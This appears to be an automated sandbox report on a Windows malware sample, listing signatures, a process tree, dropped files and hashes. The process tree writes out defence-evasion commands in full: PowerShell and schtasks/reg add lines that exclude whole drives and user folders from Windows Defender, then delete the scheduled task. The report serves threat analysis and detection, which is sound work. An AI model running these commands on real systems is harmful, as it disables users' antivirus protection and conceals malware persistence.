Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 23:48

General

  • Target
    2026-08-14_588cb233cce1f1efbcd24d57093fc000_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 40.7MB
  • Sample260814-3teckathmd
  • SHA256 1f2bbce6a9c91cbcf56c386910b80a4e77dba6eadadc06e85884895c1bfa9b5f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-14_588cb233cce1f1efbcd24d57093fc000_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-14_588cb233cce1f1efbcd24d57093fc000_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4308
  • C:\Users\Public\jrbQrC\Y71NyS.exe
    "C:\Users\Public\jrbQrC\Y71NyS.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4460
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jrbQrC\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3896
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jrbQrC\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4416
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3144
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3092
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5976
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4156
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2436
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4128
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4872
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2692
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2532
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5940
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5756
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2272
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3412
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5648
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5716
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3900
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3544
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1132
                        • C:\Program Files (x86)\8NYDQw\8NYDQw.exe
                          "C:\Program Files (x86)\8NYDQw\8NYDQw.exe"
                          2⤵
                            PID:2096
                        • C:\Users\Public\jrbQrC\Y71NyS.exe
                          "C:\Users\Public\jrbQrC\Y71NyS.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4504
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jrbQrC" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4760
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jrbQrC" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:912
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2080
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5972
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4892
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3864
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1380
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3676
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2544

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                8NYDQw.exe

                                • Path C:\Program Files (x86)\8NYDQw\8NYDQw.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\8NYDQw\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 bfcfc6a089e21523c9890af3743e74f8af0f042070987ce5d2c3d9162eec4fff
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\8NYDQw\image.png
                                • Size 5.0MB
                                • SHA256 a1964bb98b278ccf21c1c8438ae8f51b87f49475211427ef68b4519cdb97fb8d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\jrbQrC\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 80a50588beac8e2d7f1a5c115bb5d788e466cbd0bd4163c1dce0d690fd2d86ef
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Y71NyS.exe

                                • Path C:\Users\Public\jrbQrC\Y71NyS.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\jrbQrC\adoresd.dat
                                • Size 4.7MB
                                • SHA256 96a415c7e8f57903507bb2f43f5a2062d3c428686b0a99a96ca6ac380b48f990
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\jrbQrC\msadox.tb
                                • Size 8KB
                                • SHA256 8fc5c9349761bd3a6c9fced2591e67e6553d2c095d6903670229e2b5ea31d542
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2096-676-0x0000000074900000-0x000000007504A000-memory.dmp

                                memory/2096-675-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

                                memory/3616-560-0x000001EEB4240000-0x000001EEB42CA000-memory.dmp

                                memory/3616-556-0x000001EEB2EA0000-0x000001EEB2EEE000-memory.dmp

                                memory/3616-530-0x00007FFEAE7D0000-0x00007FFEAE7D2000-memory.dmp

                                memory/3616-536-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-538-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp

                                memory/3616-543-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-539-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-544-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-545-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-546-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-550-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-531-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp

                                memory/3616-557-0x000001EEB4240000-0x000001EEB42CA000-memory.dmp

                                memory/3616-567-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-561-0x000001EEB4240000-0x000001EEB42CA000-memory.dmp

                                memory/3616-559-0x000001EEB4240000-0x000001EEB42CA000-memory.dmp

                                memory/3616-563-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/3616-565-0x000001EEB3910000-0x000001EEB41A1000-memory.dmp

                                memory/4308-0-0x0000000004740000-0x000000000474E000-memory.dmp

                                memory/4308-1-0x0000000004740000-0x000000000474E000-memory.dmp

                                memory/4308-2-0x0000000004750000-0x000000000475C000-memory.dmp

                                memory/4308-504-0x00007FFEA5D90000-0x00007FFEA5DA2000-memory.dmp

                                memory/4308-525-0x00007FFEA5D90000-0x00007FFEA5DA2000-memory.dmp

                                memory/4308-524-0x0000000004740000-0x000000000474E000-memory.dmp

                                memory/4460-603-0x000002930F0B0000-0x000002930F0D2000-memory.dmp

                                memory/4460-606-0x000002930F170000-0x000002930F18E000-memory.dmp

                                memory/4460-607-0x0000029327610000-0x00000293276C2000-memory.dmp

                                memory/4460-608-0x000002930F160000-0x000002930F16A000-memory.dmp

                                memory/4504-579-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-586-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-578-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp

                                memory/4504-583-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-585-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-584-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-587-0x00007FFEAE7D0000-0x00007FFEAE7D2000-memory.dmp

                                memory/4504-576-0x0000023CDD610000-0x0000023CDDEA1000-memory.dmp

                                memory/4504-572-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp